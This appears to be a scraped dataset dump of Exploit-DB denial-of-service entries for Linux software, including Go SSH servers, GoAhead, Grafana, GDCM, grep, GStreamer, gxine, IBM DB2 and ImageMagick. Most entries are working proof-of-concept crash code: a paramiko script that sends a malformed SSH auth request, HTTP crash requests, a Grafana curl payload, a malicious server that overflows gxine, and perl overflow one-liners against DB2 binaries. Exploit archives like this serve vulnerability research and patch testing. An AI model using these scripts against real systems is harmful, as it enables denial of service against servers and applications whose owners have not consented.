deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48121
Description: Go SSH servers 0.0.2 - Denial of Service (PoC)
Type: dos
Platform: linux
Date: 2020-02-24
Author: Mark Adams

Exploit:
# Exploit Title: Go SSH servers 0.0.2 - Denial of Service (PoC)
# Author: Mark Adams
# Date: 2020-02-21
# Link: https://github.com/mark-adams/exploits/blob/master/CVE-2020-9283/poc.py
# CVE: CVE-2020-9283
#
# Running this script may crash the remote SSH server if it is vulnerable.
# The GitHub repository contains a vulnerable and fixed SSH server for testing.
#
# $ python poc.py
# ./poc.py <host> <port> <user>
#
# $ python poc.py localhost 2022 root
# Malformed auth request sent. This should cause a panic on the remote server.
#

#!/usr/bin/env python

import socket
import sys

import paramiko
from paramiko.common import cMSG_SERVICE_REQUEST, cMSG_USERAUTH_REQUEST

if len(sys.argv) != 4:
    print('./poc.py <host> <port> <user>')
    sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
user = sys.argv[3]

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

t = paramiko.Transport(sock)
t.start_client()

t.lock.acquire()
m = paramiko.Message()
m.add_byte(cMSG_SERVICE_REQUEST)
m.add_string("ssh-userauth")
t._send_message(m)

m = paramiko.Message()
m.add_byte(cMSG_USERAUTH_REQUEST)
m.add_string(user)
m.add_string("ssh-connection")
m.add_string('publickey')
m.add_boolean(True)
m.add_string('ssh-ed25519')

# Send an SSH key that is too short (ed25519 keys are 32 bytes)
m.add_string(b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x15key-that-is-too-short')

# Send an empty signature (the server won't get far enough to validate it)
m.add_string(b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x00')

t._send_message(m)

print('Malformed auth request sent. This should cause a panic on the remote server.')
Exploit-DB #31915
Description: GoAhead Web Server 3.1.x - Denial of Service
Type: dos
Platform: linux
Date: 2014-02-26
Author: Alaeddine MESBAHI

Exploit:
#!/usr/bin/python

'''
GoAhead Web Server version prior to 3.1.3 is vulnerable to DoS. A fix exists for version 3.2.
The Web Server crashes completely once this requests is received. The vulnerability doesn't seem to be exploitable on Linux versions ... could be wrong :) !

Official Issue Post:
https://github.com/embedthis/goahead/issues/77

(gdb) bt
#0  0x00007ffff7a50425 in __GI_raise (sig=<optimized out>) at ../nptl/sysdeps/unix/sysv/linux/raise.c:64
#1  0x00007ffff7a53b8b in __GI_abort () at abort.c:91
#2  0x00007ffff7a8e39e in __libc_message (do_abort=2, fmt=0x7ffff7b98748 "*** glibc detected *** %s: %s: 0x%s ***\n") at ../sysdeps/unix/sysv/linux/libc_fatal.c:201
#3  0x00007ffff7a98b96 in malloc_printerr (action=3, str=0x7ffff7b98838 "munmap_chunk(): invalid pointer", ptr=<optimized out>) at malloc.c:5039
#4  0x00007ffff7fdc607 in termWebs (wp=0x40cfc0, reuse=<optimized out>) at src/http.c:457
#5  0x00007ffff7fdc91b in reuseConn (wp=0x40cfc0) at src/http.c:520
#6  complete (wp=0x40cfc0, reuse=1) at src/http.c:575
#7  0x00007ffff7fdd85f in websPump (wp=0x40cfc0) at src/http.c:837
#8  0x00007ffff7fdeac8 in readEvent (wp=0x40cfc0) at src/http.c:797
#9  socketEvent (wptr=0x40cfc0, mask=2, sid=<optimized out>) at src/http.c:735
#10 socketEvent (sid=<optimized out>, mask=2, wptr=0x40cfc0) at src/http.c:723
#11 0x00007ffff7fdee38 in websAccept (sid=1, ipaddr=0x7fffffffd990 "127.0.0.1", port=54172, listenSid=<optimized out>) at src/http.c:714
#12 0x00007ffff7feb66a in socketAccept (sp=0x40cb80) at src/socket.c:327
#13 0x00007ffff7feb7c8 in socketDoEvent (sp=0x40cb80) at src/socket.c:639
#14 socketProcess () at src/socket.c:623
#15 0x00007ffff7fd93ed in websServiceEvents (finished=0x4030f0) at src/http.c:1290
#16 0x[PII_REDACTED]4012ee in main (argc=<optimized out>, argv=0x7fffffffdfd8, envp=<optimized out>) at src/goahead.c:146
'''


import socket
import os
import sys
import struct

HOST = sys.argv[1]
PORT = int(sys.argv[2])

crash = '?'*1 + 'A' * 1000

payload = 'GET ' + crash + ' HTTP/1.1\r\n'
payload += 'Host: ' + HOST + ':' + str(PORT) + '\r\n\r\n'

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect((HOST,PORT))
expl.send(payload)
data = expl.recv(1024)
print data
expl.close()
Exploit-DB #39502
Description: GpicView 0.2.5 - Crash (PoC)
Type: dos
Platform: linux
Date: 2016-02-26
Author: David Silveiro

Exploit:
#!/usr/bin/python
# Exploit Title: GpicView Buffer Overflow DOS
# Date: 25th February 2016
# Exploit Author: David Silveiro (Xino.co.uk)
# Vendor Homepage: lxde.sourceforge.net/gpicview/
# Software Link: https://sourceforge.net/projects/lxde/files/GPicView%20%28image%20Viewer%29/0.2.x/
# Version: 0.2.5
# Tested on: Ubuntu 14 LTS
# CVE : 0 day

#Example: python POC.py [image-file]

from sys        import argv
from subprocess import Popen
from shlex      import split
from time       import sleep
import shutil

def DOS(arg):
                                          #"""------------------------------------"""#
    command    = 'gpicview ' + arg[1]     #'''   Recieve file & construct Popen   '''#
    command_2  = split(command)           #"""------------------------------------"""#
                                          #"|"                                    "|"#
    Popen(command_2)                      #"""      Open file with Gpicview       """#
                                          #"""------------------------------------"""#
    print("Required: You have 15 seconds")
    print("to click on preferences, and ") 
    print("check 'Auto Save Images'     ")         
   
    sleep(15) 
                                          #"""------------------------------------"""#
    buffer = 'A' * 70 + '.png'            #"|"      Rename image with Buffer      "|"#
    shutil.move(arg[1], buffer)           #"""------------------------------------"""#

def main():

    print("Author:   David Silveiro   ")
    print("Company:  Xino.co.uk       ")
    print("   POC Gpicview DOS        ")

    DOS(argv)

    print("File ready for overflow    ")
    print("Now simply rotate the image")


if __name__ == "__main__":
   main()
Exploit-DB #48638
Description: Grafana 7.0.1 - Denial of Service (PoC)
Type: dos
Platform: linux
Date: 2020-07-06
Author: mostwanted002

Exploit:
# Exploit Title: Grafana 7.0.1 - Denial of Service (PoC)
# Date: 2020-05-23
# Exploit Author: mostwanted002
# Vendor Homepage: https://grafana.com/
# Software Link: https://grafana.com/grafana/download
# Version: 3.0.1 - 7.0.1
# Tested on: Linux
# CVE : CVE-2020-13379

#!/bin/bash

if [[ $1 != "" ]]; then
    curl -I "${1}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D"
else
    echo "Usage: grafana-dos.sh <TARGET>.   Example: grafana-dos.sh http://localhost:3000"
fi
Exploit-DB #39229
Description: Grassroots DICOM (GDCM) 2.6.0 and 2.6.1 - ImageRegionReader::ReadIntoBuffer Buffer Overflow
Type: dos
Platform: linux
Date: 2016-01-12
Author: Stelios Tsampas

Exploit:
/*
Grassroots DICOM (GDCM) is a C++ library for processing DICOM medical
images.
It provides routines to view and manipulate a wide range of image formats
and can be accessed through many popular programming languages like Python,
C#, Java and PHP.

GDCM versions 2.6.0 and 2.6.1 (and possibly previous versions) are prone
to an
integer overflow vulnerability which leads to a buffer overflow and
potentially to remote code execution. The vulnerability is triggered by the
exposed function gdcm::ImageRegionReader::ReadIntoBuffer, which copies
DICOM
image data to a buffer. ReadIntoBuffer checks whether the supplied
buffer is
large enough to hold the necessary data, however in this check it fails to
detect the occurrence of an integer overflow, which leads to a buffer
overflow
later on in the code. The buffer overflow will occur regardless of the
size of
the buffer supplied to the ReadIntoBuffer call.

More information about this vulnerability can be found at
http://census-labs.com/news/2016/01/11/gdcm-buffer-overflow-imageregionreaderreadintobuffer/

The GDCM project has released version 2.6.2 that addresses this issue.
It is advised to upgrade all GDCM installations to the latest stable
release.

Disclosure Timeline
-------------------
CVE assignment:    December 2nd, 2015
Vendor Contact:    December 4th, 2015
Vendor Patch Release: December 23rd, 2015
Public Advisory: January 11th, 2016
*/

#include "gdcmReader.h"
#include "gdcmImageReader.h"
#include "gdcmImageRegionReader.h"
#include "gdcmBoxRegion.h"
#include "gdcmImageHelper.h"

#include <iostream>

using namespace std;

/*
 * A simple demonstration of CVE-2015-8396
 * by Stelios Tsampas (stelios at census-labs.com)
 * based on http://gdcm.sourceforge.net/html/ExtractImageRegion_8cs-example.html
 *
 * Compiles with:
 * $ g++ -I/usr/include/gdcm-2.6 -o CVE-2015-8396-trigger CVE-2015-8396-trigger.cpp -lgdcmCommon -lgdcmMSFF -lgdcmDSED
 *
 * Try it on http://census-labs.com/media/CVE-2015-8396.dcm.bz2
 *                https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39229.zip
 * $ bzip2 -d CVE-2015-8396.dcm.bz2
 * $ ./CVE-2015-8396-trigger CVE-2015-8396.dcm
 */

int main(int argc, char *argv [])
{
	char buffer[2048 * 2047];
	gdcm::ImageRegionReader reader;
	gdcm::BoxRegion box;

	if (argc < 2) {
		cout << "Usage: example <input-file>\n";
		return 1;
	}

	const char *filename = argv[1];
	reader.SetFileName(filename);
	
	if (!reader.ReadInformation()) {
		cout << "No info from file\n";
		return 1;
	}

	std::vector<unsigned int> dims = gdcm::ImageHelper::GetDimensionsValue(reader.GetFile());
	cout << "x: " << dims[0] << ", y: " << dims[1] << ", z: " << dims[2] << "\n";

	box.SetDomain(0, dims[0] - 1, 0, dims[1] - 1, 0, dims[2] - 1);
	reader.SetRegion(box);
	reader.ReadIntoBuffer(buffer, sizeof(buffer));
	
	return 0;
}
Exploit-DB #23779
Description: Grep < 2.11 - Integer Overflow Crash (PoC)
Type: dos
Platform: linux
Date: 2012-12-31
Author: Joshua Rogers

Exploit:
Grep <2.11 is vulnerable to int overflow exploitation.

http://lists.gnu.org/archive/html/bug-grep/2012-03/msg00007.html

Although it is patched in the recent Grep,
This update has not been pushed to the Ubuntu repos, or the Redhat
repos, leaving 99% of those OS's(and more) vulnerable.


There are also many other ways to do this bug.

It is low severity because it would be extremely hard to actually
exploit it, and it is a local exploit, and it is not run by root.

Found By: Security Researcher - Joshua Rogers


More:
https://bugzilla.redhat.com/show_bug.cgi?id=889935
https://bugs.launchpad.net/ubuntu/+source/grep/+bug/1091473
http://seclists.org/oss-sec/2012/q4/504
etc.

#There are many ways of doing this.

#Method one:
$ perl -e 'print "x"x(2**31)' | grep x > /dev/null
Segmentation fault (core dumped)


#Method two:
$ perl -e 'print "\nx"x(2**31)' | grep -c x > /dev/null


Twitter: https://twitter.com/MegaManSec


CVE: CVE-2012-5667
-- 
*Joshua Rogers* - Retro Game Collector && IT Security Specialist
gpg pubkey <http://www.internot.info/docs/gpg_pubkey.asc.gpg>
Exploit-DB #31018
Description: GStreamer 0.10.15 - Multiple Remote Denial of Service Vulnerabilities
Type: dos
Platform: linux
Date: 2008-01-11
Author: Sam Hocevar

Exploit:
source: https://www.securityfocus.com/bid/27249/info

GStreamer is prone to multiple unspecified denial-of-service vulnerabilities when handling malformed media files.

Successfully exploiting this issue allows remote attackers to deny service to legitimate users.

These issues affect GStreamer 0.10.15; other versions may also be vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31018-1.mpg
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31018-2.mpg
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31018-3.m2v
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31018-4.m2v
Exploit-DB #42162
Description: GStreamer gst-plugins-bad Plugin - NULL Pointer Dereference
Type: dos
Platform: linux
Date: 2017-06-12
Author: Hanno Boeck

Exploit:
Source: https://bugzilla.gnome.org/show_bug.cgi?id=775120

The attached file will cause a null pointer access and segfault in the mpegts parser. Current git code, found with afl.

ASAN stack trace:
=================================================================
==32545==ERROR: AddressSanitizer: SEGV on unknown address 0x[PII_REDACTED]00 (pc 0x7fe957185495 bp 0x60200002cf7a sp 0x7fe956e027a0 T2)
==32545==The signal is caused by a WRITE memory access.
==32545==Hint: address points to the zero page.
    #0 0x7fe957185494 in _parse_pat /f/gstreamer/gst-plugins-bad/gst-libs/gst/mpegts/gstmpegtssection.c:441:32
    #1 0x7fe957184058 in __common_section_checks /f/gstreamer/gst-plugins-bad/gst-libs/gst/mpegts/gstmpegtssection.c:166:9
    #2 0x7fe95718522f in gst_mpegts_section_get_pat /f/gstreamer/gst-plugins-bad/gst-libs/gst/mpegts/gstmpegtssection.c:480:9
    #3 0x7fe957438b9a in mpegts_base_apply_pat /f/gstreamer/gst-plugins-bad/gst/mpegtsdemux/mpegtsbase.c:942:20
    #4 0x7fe957438b9a in mpegts_base_handle_psi /f/gstreamer/gst-plugins-bad/gst/mpegtsdemux/mpegtsbase.c:1155
    #5 0x7fe957437cd1 in mpegts_base_chain /f/gstreamer/gst-plugins-bad/gst/mpegtsdemux/mpegtsbase.c:1424:11
    #6 0x7fe9574341e7 in mpegts_base_loop /f/gstreamer/gst-plugins-bad/gst/mpegtsdemux/mpegtsbase.c:1589:13
    #7 0x7fe9644305c3 in gst_task_func /f/gstreamer/gstreamer/gst/gsttask.c:334:5
    #8 0x7fe96362f867  (/usr/lib64/libglib-2.0.so.0+0x70867)
    #9 0x7fe96362eed4  (/usr/lib64/libglib-2.0.so.0+0x6fed4)
    #10 0x7fe9630ac443 in start_thread (/lib64/libpthread.so.0+0x7443)
    #11 0x7fe962bdb92c in clone (/lib64/libc.so.6+0xe792c)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /f/gstreamer/gst-plugins-bad/gst-libs/gst/mpegts/gstmpegtssection.c:441:32 in _parse_pat
Thread T2 (tsdemux0:sink) created by T1 (typefind:sink) here:
    #0 0x42e26d in __interceptor_pthread_create (/usr/bin/gst-discoverer-1.0+0x42e26d)
    #1 0x7fe96364cadf  (/usr/lib64/libglib-2.0.so.0+0x8dadf)

Thread T1 (typefind:sink) created by T0 here:
    #0 0x42e26d in __interceptor_pthread_create (/usr/bin/gst-discoverer-1.0+0x42e26d)
    #1 0x7fe96364cadf  (/usr/lib64/libglib-2.0.so.0+0x8dadf)

==32545==ABORTING


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42162.zip
Exploit-DB #29520
Description: GTK2 GDKPixBufLoader - Remote Denial of Service
Type: dos
Platform: linux
Date: 2007-01-24
Author: Lubomir Kundrak

Exploit:
source: https://www.securityfocus.com/bid/22209/info

Applications using the gtk2 library may be prone to a denial-of-service vulnerability because the library fails to handle malformed image data.

An attacker can exploit this issue to crash applications on a victim's computer. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29520.mbox
Exploit-DB #33040
Description: GUPnP 0.12.7 - Message Handling Denial of Service
Type: dos
Platform: linux
Date: 2009-05-03
Author: Zeeshan Ali

Exploit:
source: https://www.securityfocus.com/bid/35390/info

GUPnP is prone to a vulnerability that remote attackers may exploit to cause denial-of-service conditions.

Versions prior to GUPnP 0.12.8 are affected. 

======== ACTION MESSAGE ==========
POST /Dimming/Control HTTP/1.1 SOAPAction: "urn:schemas-upnp-org:service:Dimming:1#GetLoadLevelStatus"
Host: www.example.com:41615 Content-Type: text/xml
Content-Length: 0
==================================
Exploit-DB #1852
Description: gxine 0.5.6 - HTTP Plugin Remote Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2006-05-30
Author: Federico L. Bossi Bonin

Exploit:
//////////////////////////////////////////////////////
// gxine - HTTP Plugin Remote Buffer Overflow PoC
/////////////////////////////////////////////////////
//
// Federico L. Bossi Bonin
// fbossi[at]netcomm[dot]com[dot]ar
/////////////////////////////////////////////////////

// TESTED on gxine 0.5.6
////////////////////////

// 0xb78eccc7 in free () from /lib/tls/libc.so.6
// (gdb) backtrace
// #0  0xb78eccc7 in free () from /lib/tls/libc.so.6
// #1  0xb7438fc8 in ?? () from /usr/lib/xine/plugins/1.1.1/xineplug_inp_http.so
// #2  0x41414141 in ?? ()
// #3  0xb7f42164 in ?? () from /usr/lib/libxine.so.1
// #4  0x080b1810 in ?? ()
// #5  0xb7f0e635 in xine_open () from /usr/lib/libxine.so.1
// #6  0xb7f3967f in ?? () from /usr/lib/libxine.so.1
// #7  0x0877c084 in ?? ()
// #8  0x0930a931 in ?? ()
// #9  0x080880a2 in defs.3 ()
// #10 0xb0088478 in ?? ()
// #11 0x00000000 in ?? ()

#include <stdio.h>
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 81
#define LEN 9500

void shoot(int);

int main() {
struct sockaddr_in srv_addr, client;
int len,pid,sockfd,sock;

sockfd = socket(AF_INET, SOCK_STREAM, 0);

if (sockfd < 0) { 
perror("error socket()"); 
exit(1);
}
     
bzero((char *) &srv_addr, sizeof(srv_addr));
srv_addr.sin_family = AF_INET;
srv_addr.sin_addr.s_addr = INADDR_ANY;
srv_addr.sin_port = htons(PORT);

if (bind(sockfd, (struct sockaddr *) &srv_addr,sizeof(srv_addr)) < 0)  {
perror("error bind()");
exit(1);
}



printf("Listening on port %i\n",PORT);

listen(sockfd,5);
len = sizeof(client);

while (1) {
sock = accept(sockfd, (struct sockaddr *) &client, &len);
if (sock < 0)  {
perror("error accept()");
exit(1);
}

pid = fork();
if (pid < 0)  {
perror("fork()");
exit(1);
}
if (pid == 0)  {
close(sockfd);
printf("Conection from %s\n",inet_ntoa(client.sin_addr));
shoot(sock);
exit(0);
}
else close(sock);
} 
return 0;
}

void shoot (int sock) {
int i;
for (i=0 ; i < LEN ; i++) {
write(sock,"\x41",1);
}

}

// milw0rm.com [2006-05-30]
Exploit-DB #33581
Description: Hybserv2 - ':help' Denial of Service
Type: dos
Platform: linux
Date: 2010-01-29
Author: Julien Cristau

Exploit:
source: https://www.securityfocus.com/bid/38006/info

Hybserv2 is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to deny service to legitimate users.

Hybserv2 1.9.4 is vulnerable; other versions may also be affected. 

The following example command is available:

PRIVMSG memoserv :help \t
Exploit-DB #23349
Description: IBM DB2 - 'db2govd' Command Line Argument Local Overflow
Type: dos
Platform: linux
Date: 2003-11-07
Author: SNOSoft

Exploit:
source: https://www.securityfocus.com/bid/8990/info
  
IBM DB2 has been reported to be prone to multiple buffer overflow vulnerabilities that present themselves in binaries that are shipped with DB2. The vulnerabilities are likely caused due to a lack of sufficient boundary checks performed on user supplied command-line arguments before they are copied into a reserved buffer in memory. It has been reported that by supplying arguments of excessive length to the respective vulnerable executables a local attacker may trigger the execution of arbitrary attacker-supplied instructions with elevated privileges. 

[db2inst1@RiotStarter adm]$ ./db2govd stop a `perl -e 'print "A" x 65'`
Segmentation fault
Exploit-DB #23347
Description: IBM DB2 - 'db2start' Command Line Argument Local Overflow
Type: dos
Platform: linux
Date: 2003-11-07
Author: SNOSoft

Exploit:
source: https://www.securityfocus.com/bid/8990/info

IBM DB2 has been reported to be prone to multiple buffer overflow vulnerabilities that present themselves in binaries that are shipped with DB2. The vulnerabilities are likely caused due to a lack of sufficient boundary checks performed on user supplied command-line arguments before they are copied into a reserved buffer in memory. It has been reported that by supplying arguments of excessive length to the respective vulnerable executables a local attacker may trigger the execution of arbitrary attacker-supplied instructions with elevated privileges. 

[kf@RiotStarter adm]$ source /home/db2inst1/sqllib/db2profile
[kf@RiotStarter adm]$ ./db2start `perl -e 'print "A" x 9901'`
Segmentation fault
Exploit-DB #23348
Description: IBM DB2 - 'db2stop' Command Line Argument Local Overflow
Type: dos
Platform: linux
Date: 2003-11-07
Author: SNOSoft

Exploit:
source: https://www.securityfocus.com/bid/8990/info
 
IBM DB2 has been reported to be prone to multiple buffer overflow vulnerabilities that present themselves in binaries that are shipped with DB2. The vulnerabilities are likely caused due to a lack of sufficient boundary checks performed on user supplied command-line arguments before they are copied into a reserved buffer in memory. It has been reported that by supplying arguments of excessive length to the respective vulnerable executables a local attacker may trigger the execution of arbitrary attacker-supplied instructions with elevated privileges. 

[kf@RiotStarter adm]$ ./db2stop `perl -e 'print "A" x 4001'`
Segmentation fault
Exploit-DB #23112
Description: IBM DB2 db2dart - Buffer Overflow
Type: dos
Platform: linux
Date: 2003-09-18
Author: Martinez Kuhn

Exploit:
source: https://www.securityfocus.com/bid/8552/info

It has been reported that the IBM DB2 db2dart utility is prone to locally exploitable buffer overflow vulnerability. A local attacker, who can authenticate or has access as the db2as user, may exploit this issue to execute arbitrary instructions with elevated privileges. Specifically, user 'root' privileges.

Although this vulnerability has been reported to affect IBM DB2 v7.2 for Linux x86/s390 Other IBM DB2 versions and target platforms may also be affected. 

/home/db2as/sqllib/adm/db2dart `perl -e 'print "A"x1287'`
Exploit-DB #24677
Description: IBM DB2 DTS To String Conversion - Denial of Service
Type: dos
Platform: linux
Date: 2004-09-01
Author: Chris Anley

Exploit:
source: https://www.securityfocus.com/bid/11400/info

IBM DB2 is reported prone to a denial of service vulnerability when DTS to string conversion is carried out.

It is reported that during a DTS to string conversion a trap occurs if an empty formatting string is provided. The vulnerability is exposed in the 'to_char' and 'to_date' conversion functions. 

select to_char('aaa','') from sysibm.sysdummy1
select to_date('aaa', '') from sysibm.sysdummy1
Exploit-DB #25527
Description: ImageMagick 6.x - '.PNM' Image Decoding Remote Buffer Overflow
Type: dos
Platform: linux
Date: 2005-04-25
Author: Damian Put

Exploit:
source: https://www.securityfocus.com/bid/13351/info

A remotely exploitable client-side buffer-overflow vulnerability affects ImageMagick. This issue occurs because the application fails to properly validate the length of user-supplied strings before copying them into static process buffers.

An attacker may exploit this issue to cause the affected application to crash, potentially destroying unsaved data, ultimately denying service to legitimate users. 

perl -e 'print "P7\n1\n1 1\n1"' > vuln.pnm
Exploit-DB #28383
Description: ImageMagick 6.x - '.SGI' Image File Remote Heap Buffer Overflow
Type: dos
Platform: linux
Date: 2006-08-14
Author: Damian Put

Exploit:
source: https://www.securityfocus.com/bid/19507/info

ImageMagick is prone to a remote heap buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

This issue allows attackers to execute arbitrary machine code in the context of applications that use the ImageMagick library.

ImageMagick versions in the 6.x series, up to version 6.2.8, are vulnerable to this issue.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28383.sgi